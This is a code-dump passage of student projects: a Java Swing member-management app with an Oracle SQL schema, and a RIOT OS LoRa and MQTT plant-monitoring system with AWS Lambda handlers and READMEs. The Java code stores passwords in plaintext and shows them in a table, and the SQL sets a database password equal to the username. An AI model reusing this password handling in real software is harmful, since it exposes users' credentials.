contentPanel.add(lblNewLabel_3, "2, 8, left, default");
}
{
genderTextField = new JTextField();
contentPanel.add(genderTextField, "4, 8, fill, default");
genderTextField.setColumns(10);
}
{
JLabel lblNewLabel_4 = new JLabel("Age");
contentPanel.add(lblNewLabel_4, "2, 10, left, default");
}
{
ageTextField = new JTextField();
contentPanel.add(ageTextField, "4, 10, fill, default");
ageTextField.setColumns(10);
}
{
JLabel lblNewLabel_5 = new JLabel("Email");
contentPanel.add(lblNewLabel_5, "2, 12, left, default");
}
{
emailTextField = new JTextField();
contentPanel.add(emailTextField, "4, 12, fill, default");
emailTextField.setColumns(10);
}
{
JLabel lblNewLabel_6 = new JLabel("Phone");
contentPanel.add(lblNewLabel_6, "2, 14, left, default");
}
{
phoneTextField = new JTextField();
contentPanel.add(phoneTextField, "4, 14, fill, default");
phoneTextField.setColumns(10);
}
{
JLabel lblNewLabel_7 = new JLabel("Address");
contentPanel.add(lblNewLabel_7, "2, 16, left, default");
}
{
addressTextField = new JTextField();
contentPanel.add(addressTextField, "4, 16, fill, default");
addressTextField.setColumns(10);
}
{
JLabel lblNewLabel_8 = new JLabel("Hobby");
contentPanel.add(lblNewLabel_8, "2, 18, left, default");
}
{
hobbyTextField = new JTextField();
contentPanel.add(hobbyTextField, "4, 18, fill, default");
hobbyTextField.setColumns(10);
}
{
JPanel buttonPane = new JPanel();
buttonPane.setLayout(new FlowLayout(FlowLayout.RIGHT));
getContentPane().add(buttonPane, BorderLayout.SOUTH);
{
JButton okButton = new JButton("Save");
okButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
saveMember();
}
});
okButton.setActionCommand("OK");
buttonPane.add(okButton);
getRootPane().setDefaultButton(okButton);
}
{
JButton cancelButton = new JButton("Cancel");
cancelButton.setActionCommand("Cancel");
buttonPane.add(cancelButton);
}
}
}
private void saveMember() {
Member member = null;
String memberId = MemberIdTextField.getText();
String password = <PASSWORD>TextField.getText();
String memberName = nameTextField.getText();
String gender = genderTextField.getText();
int age = Integer.parseInt(ageTextField.getText());
String email = emailTextField.getText();
String phone = phoneTextField.getText();
String address = addressTextField.getText();
String hobby = hobbyTextField.getText();
if(updateMode) {
member = previousMember;
member.setPassword(<PASSWORD>);
member.setMemberName(memberName);
member.setAge(age);
member.setEmail(email);
member.setPhone(phone);
member.setAddress(address);
member.setHobby(hobby);
} else {
member = new Member();
member.setMemberId(memberId);
member.setPassword(<PASSWORD>);
member.setMemberName(memberName);
member.setGender(gender);
member.setAge(age);
member.setEmail(email);
member.setPhone(phone);
member.setAddress(address);
member.setHobby(hobby);
}
try {
if(updateMode)
memberController.changeInfo(member);
else {
memberController.insertMember(member);
}
//close dialog
setVisible(false);
dispose();
memberSearchApp.refreshMemberview();
//if(result > 0)
JOptionPane.showMessageDialog(memberSearchApp, "Member added succesfully", "Member Added", JOptionPane.INFORMATION_MESSAGE);
} catch(Exception e) {
JOptionPane.showMessageDialog(memberSearchApp, "Error saving Member: "+ e.getMessage(), "Error",
JOptionPane.ERROR_MESSAGE);
}
}
}
<file_sep>package member.view;
import java.util.List;
import javax.swing.table.AbstractTableModel;
import member.model.vo.Member;
class MemberTableMdoel extends AbstractTableModel{
public static final int OBJECT_COL = -1;
private static final int MEMBER_ID = 0;
private static final int PASSWORD_COL = 1;
private static final int MEMBER_NAME_COL = 2;
private static final int GENDER_COL = 3;
private static final int AGE_COL = 4;
private static final int EMAIL_COL = 5;
private static final int PHONE_COL = 6;
private static final int ADDRESS_COL = 7;
private static final int HOBBY_COL = 8;
private static final int ENOLLDATE_COL = 9;
private String[] columnNames = {"Member Id", "Password", "Member Name", "Gender", "Age", "Email", "Phone", "Address", "Hobby", "EnollDate"};
private List<Member> list;
public MemberTableMdoel(List<Member> list) {
this.list = list;
}
@Override
public int getRowCount() {
return list.size();
}
@Override
public int getColumnCount() {
return columnNames.length;
}
public String getColumnName(int col) {
return columnNames[col];
}
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
Member tempMember = list.get(rowIndex);
switch (columnIndex) {
case MEMBER_ID :
return tempMember.getMemberId();
case PASSWORD_COL :
return tempMember.getPassword();
case MEMBER_NAME_COL :
return tempMember.getMemberName();
case GENDER_COL :
return tempMember.getGender();
case AGE_COL :
return tempMember.getAge();
case EMAIL_COL :
return tempMember.getEmail();
case PHONE_COL :
return tempMember.getPhone();
case ADDRESS_COL :
return tempMember.getAddress();
case HOBBY_COL :
return tempMember.getHobby();
case ENOLLDATE_COL :
return tempMember.getEnollDate();
case OBJECT_COL:
return tempMember;
default :
return tempMember.getMemberId();
}
}
public Class getColumnClass(int c) {
return getValueAt(0, c).getClass();
}
}
<file_sep>package member.view;
import java.awt.BorderLayout;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JPanel;
import javax.swing.border.EmptyBorder;
import member.controller.MemberController;
import member.model.dao.MemberDao;
import member.model.vo.Member;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import java.awt.FlowLayout;
import javax.swing.JTextField;
import javax.swing.JButton;
import javax.swing.JScrollPane;
import javax.swing.JTable;
import java.awt.event.ActionListener;
import java.util.List;
import java.awt.event.ActionEvent;
import javax.swing.SwingConstants;
public class MemberSearchApp extends JFrame {
private JPanel contentPane;
private JTextField memberNameTextFiel;
private JTable table;
private MemberController memberController = new MemberController();
private MemberDao memberDao;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
MemberSearchApp frame = new MemberSearchApp();
frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the frame.
*/
public MemberSearchApp() {
setTitle("MemberSearchApp");
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
setBounds(100, 100, 520, 300);
contentPane = new JPanel();
contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
contentPane.setLayout(new BorderLayout(0, 0));
setContentPane(contentPane);
JPanel panel = new JPanel();
FlowLayout flowLayout = (FlowLayout) panel.getLayout();
flowLayout.setAlignment(FlowLayout.LEFT);
contentPane.add(panel, BorderLayout.NORTH);
JLabel lblNewLabel = new JLabel("Enter Member Name");
panel.add(lblNewLabel);
memberNameTextFiel = new JTextField();
panel.add(memberNameTextFiel);
memberNameTextFiel.setColumns(20);
JButton btnSearch = new JButton("Search");
btnSearch.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
//멤버이름 텍스트필드
String memberName = memberNameTextFiel.getText();
//dao 불러오기
List<Member> memberList = null;
if(memberName != null) {
memberList = memberController.selectNameList(memberName);
} else {
memberList = memberController.selectAll();
}
// for(Member m : memberList) {
// System.out.println(m);
// }
MemberTableMdoel model = new MemberTableMdoel(memberList);
table.setModel(model);
}
});
panel.add(btnSearch);
JScrollPane scrollPane = new JScrollPane();
contentPane.add(scrollPane, BorderLayout.CENTER);
table = new JTable();
scrollPane.setViewportView(table);
JPanel panel_1 = new JPanel();
contentPane.add(panel_1, BorderLayout.SOUTH);
JButton btnAddMember = new JButton("Add Member");
btnAddMember.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
AddMemberDialog dialog = new AddMemberDialog(MemberSearchApp.this, memberDao);
dialog.setVisible(true);
}
});
panel_1.add(btnAddMember);
JButton btnUpdateMember = new JButton("Update Mem.");
btnUpdateMember.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
int row = table.getSelectedRow();
if(row < 0) {
JOptionPane.showMessageDialog(MemberSearchApp.this, "you must Select a Member", "Error", JOptionPane.ERROR_MESSAGE);
return;
}
Member tempMember = (Member) table.getValueAt(row, MemberTableMdoel.OBJECT_COL);
AddMemberDialog dialog = new AddMemberDialog(MemberSearchApp.this, memberDao, tempMember, true);
dialog.setVisible(true);
}
});
panel_1.add(btnUpdateMember);
JButton btnDelMember = new JButton("Delete Member");
btnDelMember.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
try {
int row = table.getSelectedRow();
if(row < 0 ) {
JOptionPane.showMessageDialog(MemberSearchApp.this, "You Must select a Member", "Error", JOptionPane.ERROR_MESSAGE);
return;
}
int response = JOptionPane.showConfirmDialog(MemberSearchApp.this, "Delete this Member?", "Confirm",
JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE);
if(response != JOptionPane.YES_OPTION) {
return;
}
Member member = (Member) table.getValueAt(row, MemberTableMdoel.OBJECT_COL);
memberController.deleteMember(member.getMemberId());
refreshMemberview();
//성공메시지
JOptionPane.showMessageDialog(MemberSearchApp.this, "Member delete Succesfully.", "Member Deleted", JOptionPane.INFORMATION_MESSAGE);
} catch (Exception e1) {
JOptionPane.showMessageDialog(MemberSearchApp.this, "Error deleteing Member : " + e1.getMessage(), "Error",
JOptionPane.ERROR_MESSAGE);
}
}
});
panel_1.add(btnDelMember);
}
public void refreshMemberview() {
try {
List<Member> list = memberController.selectAll();
MemberTableMdoel model = new MemberTableMdoel(list);
table.setModel(model);
} catch(Exception e) {
JOptionPane.showMessageDialog(this, "Error: " + e, "Error", JOptionPane.ERROR_MESSAGE);
}
}
}
<file_sep>--====================================
-- 관리자 계정
--===================================
--student rPwj
create user student
identified by student
default tablespace users;
grant connect, resource to student;
--====================================
-- STUDENT 계정
--====================================
create table member(
member_id varchar2(20),
password varchar2(20) not null,
member_name varchar2(100) not null,
gender char(1),
age number,
email varchar2(200),
phone char(11) not null,
adress varchar2(1000),
hobby varchar2(100), --농구,음악감상,영화
enroll_date date default sysdate,
constraint pk_member_id primary key(member_id),
constraint ck_member_gender check(gender in ('M', 'F'))
);
insert into member
values('leess', '1234', '이순신', 'M', 45, '<EMAIL>', '01012121212',
'전남 여수', '목공예', default
);
--널값 있는 것으로
insert into member
values('ygsgs', '1234', '유관순', 'F', null, null, '01031313131',
null, null, default
);
select * from member;
commit;
desc member; | 03bd30162c51e83fc7a1f68e176271aea3f17151 | [
"Java",
"SQL",
"INI"
] | 5 | INI | kianpas/PersonalStudy | 27239d5ff08e1bbcc601b93c603aaf491cd59777 | 271bd020292d4eae444232bafe7c2dd5fad325ec |
refs/heads/main | <file_sep>BOARD ?= b-l072z-lrwan1
APPLICATION = iot_lora
BOARD_WITHOUT_LORAMAC_RX := \
arduino-mega2560 \
i-nucleo-lrwan1 \
stm32f0discovery \
waspmote-pro \
LORA_DRIVER ?= sx1276
LORA_REGION ?= EU868
USEPKG += semtech-loramac
USEMODULE += $(LORA_DRIVER)
# load loramac RX if board supports it
ifeq (,$(filter $(BOARD),$(BOARD_WITHOUT_LORAMAC_RX)))
USEMODULE += semtech_loramac_rx
endif
USEMODULE += auto_init_loramac
USEMODULE += xtimer
USEMODULE += fmt
USEMODULE += hts221
FEATURES_OPTIONAL += periph_eeprom
# Default IotLab Config to run the test
ifneq (,$(filter iotlab%,$(MAKECMDGOALS)))
IOTLAB_NODES ?= 1
IOTLAB_TYPE ?= st-lrwan1:sx1276
IOTLAB_SITE ?= saclay
include $(RIOTBASE)/dist/testbed-support/Makefile.iotlab
endif
CFLAGS += -DCONFIG_LORAMAC_APP_KEY_DEFAULT=\"$(APPKEY)\"
CFLAGS += -DCONFIG_LORAMAC_APP_EUI_DEFAULT=\"$(APPEUI)\"
CFLAGS += -DCONFIG_LORAMAC_DEV_EUI_DEFAULT=\"$(DEVEUI)\"
include $(RIOTBASE)/Makefile.include
<file_sep>typedef struct {
int max;
int min;
int avg;
int sum;
int n;
} aggregate_data;
int aggregate_data_init(aggregate_data* ad);
int aggregate_data_update(aggregate_data* ad, int elem);
<file_sep>int init_sensors(void);
int read_hum(void);
int read_temperature(void);
<file_sep>#pragma once
#include "net/emcute.h"
typedef union {
struct {
unsigned led0 : 1;
unsigned led1 : 1;
unsigned led2 : 1;
};
unsigned all;
} led_state;
void init_actuators(void);
void update_ctl_states(const emcute_topic_t *topic, void *data, size_t len);
void read_led(led_state *ld);
<file_sep># IoT-IA3-2021
## Pro and Cons of long-range low-power wide network
* Having more sensor nodes can help retrieve more data from different location and helps and how much the sensor values depend on the position, and because we are using LoRa we could have the LoRaWAN gateway far away from the sensor nodes (a realistic distance could be ~1 km)
* Having more nodes in a wireless sensor network makes manteinance more difficult and the system in total obviously less energy efficient. But is important to keep in mind that LoRa is designed to be energy efficient so it won't increase much the energy consumed per device.
* Using a wireless sensor network, the system as whole will be more tolerant against a sensor node faults. On the other end the crash of the LoRaWAN gateway, or the MQTT broker will cause the cloud backend to stop receiving data
* Because the network is low-energy, the network will have some serious limitations in throughput. Also with respect to low-power short-distance protocols, it is easy to notice an increase of latency to sending the packets
* An advantage of LoRaWAN with respect of other protocols is its security, that guarantee data integrity and confidentiality with the application server. For this purpose two keys are used: one to encrypt the payload, AppSKey, to provide end-to-end security, and one to provide integrity protection and encryption, NwkSKey. The keys are generated at each session
* With edge computing we will have a less accurate analysis since the aggregate operations are performed directly on the board, however this allow to transmitts data after a longer period of time making LoRa more suitable for the project
## IoT Architecture
The B-L072Z-LRWAN1 nodes perform the edge analytics and send the aggregate data to The Things Network via LoRa. To connect TTN and AWS an A8 node running mosquitto is used. The node subscribe to a topic, where the data sent to the TTN is published. After receiveing data the node publish the data on a different topic that AWS IoT subscribes to and sends to Dynamo DB.
<img src="https://github.com/lorenzo1234881/IoT-IA3-2021/blob/master/images/architecture.png" width=800>
<file_sep>var AWS = require('aws-sdk');
var iotdata = new AWS.IotData({ endpoint: 'aezhc7emqzhxh-ats.iot.us-east-1.amazonaws.com' });
var statusCode = 200;
exports.handler = async(event) => {
console.log("Event => " + JSON.stringify(event));
var params = {
topic: "aws_to_local_2",
payload: event.body,
qos: 0
};
return new Promise((resolve, reject) => {
iotdata.publish(params, function(err, data) {
if (err) {
console.log("ERROR => " + JSON.stringify(err));
}
else {
console.log("Success");
}
})
});
};
<file_sep>int init_sensors(void);
int read_lux(void);
int read_temperature(void);<file_sep>console.log('Loading function');
var AWS = require('aws-sdk');
var dynamo = new AWS.DynamoDB.DocumentClient();
var table = "IoT_IA3";
exports.handler = function(event, context) {
console.log(event)
var jsonstring = Buffer.from(event.payload, 'base64').toString('ascii');
var payload = JSON.parse(jsonstring);
var paramsDB = {
TableName:table,
Item:{
"timestamp" : event.timestamp,
"deviceId": event.deviceId,
"temperature": payload.temperature,
"temperatureMax": payload.temperatureMax,
"temperatureMin": payload.temperatureMin,
"temperatureAvg": payload.temperatureAvg,
"humidity": payload.humidity,
"humidityMax": payload.humidityMax,
"humidityMin": payload.temperatureMin,
"humidityAvg": payload.humidityAvg
}
};
console.log("Adding a new IoT device...");
dynamo.put(paramsDB, function(err, data) {
if (err) {
console.log(err)
context.fail();
} else {
console.log("Data inserted");
context.succeed();
}
});
}
<file_sep>#include "read_sensor.h"
#include "isl29020.h"
#include "isl29020_params.h"
#include "lpsxxx.h"
#include "lpsxxx_params.h"
isl29020_t isl29020_dev;
lpsxxx_t lpsxxx_dev;
int init_sensors(void)
{
if(isl29020_init(&isl29020_dev, &isl29020_params[0]) < 0)
{
printf("Unable to inizialize isl29020\n");
return -1;
}
if (lpsxxx_init(&lpsxxx_dev, &lpsxxx_params[0]) != LPSXXX_OK) {
puts("Unable to inizialize lpsxxx\n");
return 1;
}
return 0;
}
int read_lux(void)
{
return isl29020_read(&isl29020_dev);
}
int read_temperature(void)
{
int16_t temperature;
lpsxxx_read_temp(&lpsxxx_dev, &temperature);
return temperature;
}
<file_sep>#include "read_sensor.h"
#include "edge_analytics.h"
#include "net/loramac.h" /* core loramac definitions */
#include "semtech_loramac.h" /* package API */
#include "fmt.h"
#include <stdio.h>
#include <string.h>
#include <xtimer.h>
#include "sx127x.h"
#include "sx127x_netdev.h"
#include "sx127x_params.h"
static sx127x_t sx127x;
#define TX_INTERVAL (5000LU * US_PER_MS)
#define MSG_MAXLEN 200
#define MSG_TEMPLATE "{\
\"temperature\":%d,\
\"temperatureMax\":%d,\
\"temperatureMin\":%d,\
\"temperatureAvg\":%d,\
\"humidity\":%d,\
\"humidityMax\":%d,\
\"humidityMin\":%d,\
\"humidityAvg\":%d\
}"
extern semtech_loramac_t loramac; /* The loramac stack device descriptor */
/* define the required keys for OTAA, e.g over-the-air activation (the
null arrays need to be updated with valid LoRa values) */
static uint8_t deveui[LORAMAC_DEVEUI_LEN];
static uint8_t appeui[LORAMAC_APPEUI_LEN];
static uint8_t appkey[LORAMAC_APPKEY_LEN];
int main(void)
{
char message[MSG_MAXLEN];
xtimer_ticks32_t t;
init_sensors();
/* Convert identifiers and application key */
fmt_hex_bytes(deveui, CONFIG_LORAMAC_DEV_EUI_DEFAULT);
fmt_hex_bytes(appeui, CONFIG_LORAMAC_APP_EUI_DEFAULT);
fmt_hex_bytes(appkey, CONFIG_LORAMAC_APP_KEY_DEFAULT);
/* Initialize the radio driver */
sx127x_setup(&sx127x, &sx127x_params[0], 0);
loramac.netdev = &sx127x.netdev;
loramac.netdev->driver = &sx127x_driver;
/* 1. initialize the LoRaMAC MAC layer */
semtech_loramac_init(&loramac);
/* 2. set the keys identifying the device */
semtech_loramac_set_deveui(&loramac, deveui);
semtech_loramac_set_appeui(&loramac, appeui);
semtech_loramac_set_appkey(&loramac, appkey);
/* Use a fast datarate, e.g. BW125/SF7 in EU868 */
semtech_loramac_set_dr(&loramac, LORAMAC_DR_5);
/* 3. join the network */
if (semtech_loramac_join(&loramac, LORAMAC_JOIN_OTAA) != SEMTECH_LORAMAC_JOIN_SUCCEEDED) {
puts("Join procedure failed");
return 1;
}
puts("Join procedure succeeded");
aggregate_data agg_temperature;
aggregate_data agg_humidity;
aggregate_data_init(&agg_temperature);
aggregate_data_init(&agg_humidity);
int humidity;
int temperature;
t = xtimer_now();
while(1)
{
humidity = read_hum();
temperature = read_temperature();
aggregate_data_update(&agg_humidity, humidity);
aggregate_data_update(&agg_temperature, temperature);
sprintf(message, MSG_TEMPLATE,
temperature, agg_temperature.max, agg_temperature.min, agg_temperature.avg,
humidity, agg_humidity.max, agg_humidity.min, agg_humidity.avg);
int ret = semtech_loramac_send(&loramac, (uint8_t *)message, strlen(message));
if (ret != SEMTECH_LORAMAC_TX_DONE) {
printf("semtech_loramac_send() returned %d\n", ret);
return 1;
}
xtimer_periodic_wakeup(&t, TX_INTERVAL);
}
}
<file_sep>#include "edge_analytics.h"
#include <limits.h>
int aggregate_data_init(aggregate_data* ad)
{
ad->max = INT_MIN;
ad->min = INT_MAX;
ad->sum = 0;
ad->avg = 0;
ad->n = 0;
return 0;
}
int aggregate_data_update(aggregate_data* ad, int elem)
{
if(elem > ad->max) ad->max = elem;
if(elem < ad->min) ad->min = elem;
ad->sum += elem;
ad->n++;
ad->avg = ad->sum / ad->n;
return 0;
}
<file_sep># IoT-IA2-2021
## Pro and Cons of Wireless Sensor Network
* Having more sensor nodes can help retrieve more data from different location and helps and how much the sensor values depend on the position
* Using a wireless sensor network, the system as whole will be more tolerant against a sensor node faults. On the other end the crash of a of the border router, or the MQTT broker will cause the cloud backend to stop receiving data
* Having more nodes in a wireless sensor network makes manteinance more difficult and the system in total obviously less energy efficient. But is important to keep in mind that 6LowPAN is designed to be energy efficient so it won't increase much the energy consumed per device.
* Because the network is low-energy, the network will have some serious limitations in throughput. This is not a big problem since we don't have an high frequency sampling, so the network won't congestionate.
## IoT Architecture
An M3 node is used as a border router while the ssh host propagete the ipv6 preifx to the nodes. An A8 nodes will run both the MQTT-S/MQTT broker that will receive the data published by m3 nodes running firmware the firware of this project
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/architecture.png" width=800>
## Evaluation performances
* We can measure performances in terms of energy consumption (current, voltage, power) and network traffic (RSSI) thanks to the tools offered by IoT-LAB.
* Thanks to these monitoring tools we can see how much energy consumption will be affected increasing the number of nodes
* The RSSI, that is the indication of the radio power level received by the antenna of the node, shows us that if the RSSI is low, due to an high distance between the two nodes or maybe due to obstacle between them, affect negatively the throughput of the network causing retransmissions and delays
#### Node A8 Broker
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/evaluation/a8_broker_power.png" width=500>
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/evaluation/a8_broker_radio.png" width=500>
#### Node M3 Border Router
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/evaluation/m3_router_power.png" width=500>
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/evaluation/m3_router_radio.png" width=500>
#### Node M3-1
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/evaluation/m3_node1_power.png" width=500>
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/evaluation/m3_node1_radio.png" width=500>
#### Node M3-2
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/evaluation/m3_node2_power.png" width=500>
<img src="https://github.com/lorenzo1234881/IoT-IA2-2021/blob/main/images/evaluation/m3_node2_radio.png" width=500>
* From the graphs it is possible to notice an increase in power when the firmware is flashed, and in the M3 nodes a regular change in power. These frequent increases correspond to the moments when the sensor nodes (m3-1, m3-2) retrieve the data from the sensors and send it to the border router, that will then send it to the A8 node.
* The moments when instead there's a decrease in power on the sensor nodes happen when the sensor node sleep and doesn't receive any packet from the cloud backend.
* For all the nodes the RSSI is always -91 dBm, with the exception of the starting noise in the m3-1 node. This is positive because it means that there is very little interference in sending the packets between nodes.
<file_sep>#include "net/emcute.h"
int mqtt_init(emcute_topic_t* topic);
int mqtt_pub(emcute_topic_t topic, char* msg_pub, size_t len_msg_pub);<file_sep>#include "read_sensor.h"
#include "hts221.h"
#include "hts221_params.h"
hts221_t hts221_dev;
int init_sensors(void)
{
if (hts221_init(&hts221_dev, &hts221_params[0]) != HTS221_OK) {
puts("failed to initialize hts221");
return 1;
}
if (hts221_power_on(&hts221_dev) != HTS221_OK) {
puts("failed to set power on");
return 2;
}
if (hts221_set_rate(&hts221_dev, hts221_dev.p.rate) != HTS221_OK) {
puts("failed to set continuous mode");
return 3;
}
return 0;
}
int read_hum(void)
{
uint16_t hum = 0;
if (hts221_read_humidity(&hts221_dev, &hum) != HTS221_OK) {
puts("failed to read humidity");
}
return hum;
}
int read_temperature(void)
{
int16_t temp = 0;
if (hts221_read_temperature(&hts221_dev, &temp) != HTS221_OK) {
puts("failed to read temperature");
}
return temp;
}
<file_sep># IoT-2021 - Individual Assignments Repository
This project has been carried out during the IoT Course at Sapienza University of Rome, and it consists of three different assignment.
## Plant Monitor System
The goal of this project is to monitor a plants conditions, to see if necessary needs are met.
In every directory there is the code and documentation of each individual assignments. An the sources are structured in this way:
- `iot-device` contains the riot os application for the sensor nodes.
- `lambda_functions` contains the code of the aws lambda functions used.
- `dashboard` is the dasboard code used for the project.
- `how-it-was-done.txt` is the list the fundamentals steps needed to create from scratch the system.
To know more about the project see the [blog post](https://www.hackster.io/lorenzo-santangelo/plant-monitor-system-da0f35).
Here there is a small demo of the system running: https://youtu.be/L4jhOPXpJbM.
<file_sep>#include "ctl_actuators.h"
#include "jsmn/jsmn.h"
#define MAX_TOKENS 20
led_state curr_led_state;
void init_actuators(void)
{
LED0_OFF;
LED1_OFF;
LED2_OFF;
curr_led_state.all = 0;
}
void read_led(led_state *ld)
{
ld->all = curr_led_state.all;
}
static int jsoneq(const char *json, jsmntok_t *tok, const char *s) {
if (tok->type == JSMN_STRING && (int)strlen(s) == tok->end - tok->start &&
strncmp(json + tok->start, s, tok->end - tok->start) == 0) {
return 0;
}
return -1;
}
void update_ctl_states(const emcute_topic_t *topic, void *data, size_t len)
{
char *in = (char *)data;
#if CTL_ACTUATORS_DEBUG
printf("### got publication for topic '%s' [%i] ###\n",
topic->name, (int)topic->id);
for (size_t i = 0; i < len; i++) {
printf("%c", in[i]);
}
puts("");
#endif
jsmn_parser p;
jsmntok_t t[MAX_TOKENS];
led_state new_led_state;
int r;
int i;
new_led_state.all = 0;
jsmn_init(&p);
r = jsmn_parse(&p, in, len, t, MAX_TOKENS);
if (r < 0) {
printf("Failed to parse JSON: %d\n", r);
return;
}
/* Assume the top-level element is an object */
if (r < 1 || t[0].type != JSMN_OBJECT) {
printf("Object expected\n");
return;
}
for( i = 1; i < r; i++)
{
if (jsoneq(in, &t[i], "deviceId") == 0) {
if(strcmp(in + t[i+1].start, DEVICE_ID) != 0)
return;
i++;
}
else if (jsoneq(in, &t[i], "led0") == 0) {
new_led_state.led0 = atoi(in + t[i+1].start);
i++;
}
else if (jsoneq(in, &t[i], "led1") == 0) {
new_led_state.led1 = atoi(in + t[i+1].start);
i++;
}
else if (jsoneq(in, &t[i], "led2") == 0) {
new_led_state.led2 = atoi(in + t[i+1].start);
i++;
}
else {
printf("Unexpected key: %.*s\n", t[i].end - t[i].start,
in + t[i].start);
return;
}
}
if(new_led_state.all != curr_led_state.all)
{
if(new_led_state.led0) {LED0_ON;}
else {LED0_OFF;}
if(new_led_state.led1) {LED1_ON;}
else {LED1_OFF;}
if(new_led_state.led2) {LED2_ON;}
else {LED2_OFF;}
curr_led_state.all = new_led_state.all;
#if CTL_ACTUATORS_DEBUG
printf("change state led: %ud\n", curr_led_state.all);
#endif
}
}
<file_sep>const AWS = require("aws-sdk");
const dynamo = new AWS.DynamoDB.DocumentClient();
const hour = 3600000;
const tablename = "IoT_IA3";
exports.handler = async (event, context) => {
let body;
let statusCode = 200;
const headers = {
"Content-Type": "application/json",
'Access-Control-Allow-Headers': '*',
'Access-Control-Allow-Method': '*',
"Access-Control-Allow-Origin": "*"
};
try {
let currentTime;
switch (event.routeKey) {
case "GET /last-values/{deviceId}":
var data = await dynamo.scan({ TableName: tablename, limit: 1}).promise();
var last_value = {
temperature: undefined,
humidity: undefined,
temperatureMax: undefined,
temperatureMin: undefined,
temperatureAvg: undefined,
humidityMax: undefined,
humidityMin: undefined,
humidityAvg: undefined
}
currentTime = Date.now();
for (var item of data.Items)
{
if(item.deviceId == event.pathParameters.deviceId && currentTime-item.timestamp < hour) {
last_value = item;
}
}
body = JSON.stringify(last_value);
break;
case "OPTIONS /{proxy+}":
break;
default:
throw new Error(`Unsupported route: "${event.routeKey}"`);
}
} catch (err) {
statusCode = 400;
body = err.message;
} finally {
body = JSON.stringify(body);
}
return {
statusCode,
body,
headers
};
};
<file_sep>#include "read_sensor.h"
#include "mqtt_logic.h"
#include "ctl_actuators.h"
#include "xtimer.h"
#include <stdio.h>
#include <stdlib.h>
#define TX_INTERVAL (5000LU * US_PER_MS)
#define MSG_TEMPLATE "{\
\"deviceId\":\"%s\",\
\"temperature\":%d,\
\"light\":%d,\
\"led0\":%d,\
\"led1\":%d,\
\"led2\":%d\
}"
#define BUFMSG_MAXLEN 200
int main(void)
{
emcute_topic_t topic;
init_sensors();
init_actuators();
mqtt_init(&topic);
xtimer_ticks32_t t = xtimer_now();
while(1) {
char bufmsg[BUFMSG_MAXLEN];
led_state ls;
int lux = read_lux();
int temp = read_temperature();
read_led(&ls);
sprintf(bufmsg, MSG_TEMPLATE, DEVICE_ID, temp, lux, ls.led0, ls.led1, ls.led2);
mqtt_pub(topic, bufmsg, strlen(bufmsg));
xtimer_periodic_wakeup(&t, TX_INTERVAL);
}
return 0;
}
<file_sep># name of your application
APPLICATION = iot_ia2
# If no BOARD is found in the environment, use this default:
BOARD ?= iotlab-m3
# This has to be the absolute path to the RIOT base directory:
RIOTBASE ?= $(CURDIR)/../A8/riot/RIOT
USEMODULE += lps331ap
USEMODULE += isl29020
USEMODULE += xtimer
FEATURES_REQUIRED += periph_gpio periph_spi
# Include packages that pull up and auto-init the link layer.
# NOTE: 6LoWPAN will be included if IEEE802.15.4 devices are present
USEMODULE += gnrc_netdev_default
USEMODULE += auto_init_gnrc_netif
# Specify the mandatory networking modules for IPv6
USEMODULE += gnrc_ipv6_default
# Include MQTT-SN
USEMODULE += emcute
# Optimize network stack to for use with a single network interface
USEMODULE += gnrc_netif_single
# Allow for env-var-based override of the nodes name (EMCUTE_ID)
ifneq (,$(EMCUTE_ID))
CFLAGS += -DEMCUTE_ID=\"$(EMCUTE_ID)\"
endif
# Comment this out to disable code in RIOT that does safety checking
# which is not needed in a production environment but helps in the
# development process:
DEVELHELP ?= 1
# Comment this out to join RPL DODAGs even if DIOs do not contain
# DODAG Configuration Options (see the doc for more info)
# CFLAGS += -DCONFIG_GNRC_RPL_DODAG_CONF_OPTIONAL_ON_JOIN
# Change this to 0 show compiler invocation lines by default:
QUIET ?= 1
# The Broker address, port and the default MQTT topic to subscribe.
SERVER_PORT = 1885
MQTT_PUB_TOPIC = local_to_aws_2
MQTT_SUB_TOPIC = aws_to_local_2
DEVICE_ID ?= 1
# Debug flags
CTL_ACTUATORS_DEBUG = 1
MQTT_LOGIC_DEBUG = 1
READ_SENSOR_DEBUG = 1
CFLAGS += -DSERVER_ADDR='"$(SERVER_ADDR)"'
CFLAGS += -DSERVER_PORT=$(SERVER_PORT)
CFLAGS += -DMQTT_PUB_TOPIC='"$(MQTT_PUB_TOPIC)"'
CFLAGS += -DMQTT_SUB_TOPIC='"$(MQTT_SUB_TOPIC)"'
CFLAGS += -DDEVICE_ID='"$(DEVICE_ID)"'
CFLAGS += -DCTL_ACTUATORS_DEBUG=$(CTL_ACTUATORS_DEBUG)
CFLAGS += -DMQTT_LOGIC_DEBUG=$(MQTT_LOGIC_DEBUG)
CFLAGS += -DREAD_SENSOR_DEBUG=$(READ_SENSOR_DEBUG)
include $(RIOTBASE)/Makefile.include
| 82c51a6347b39748bc0e5a2c933f4b483e9707c0 | [
"Markdown",
"C",
"JavaScript",
"Makefile"
] | 19 | Makefile | lorenzo1234881/IoT-2021 | ba9cd3061477fce7f576c39b52c0aa03917cbc09 | 84298715d40a921139b61e691d2e8106d7dba07a |
refs/heads/master | <file_sep>using System;
using System.IO;
using System.Net;
using System.Linq;
namespace SaludArTE.AdminPages
{
public partial class Log : System.Web.UI.Page
{
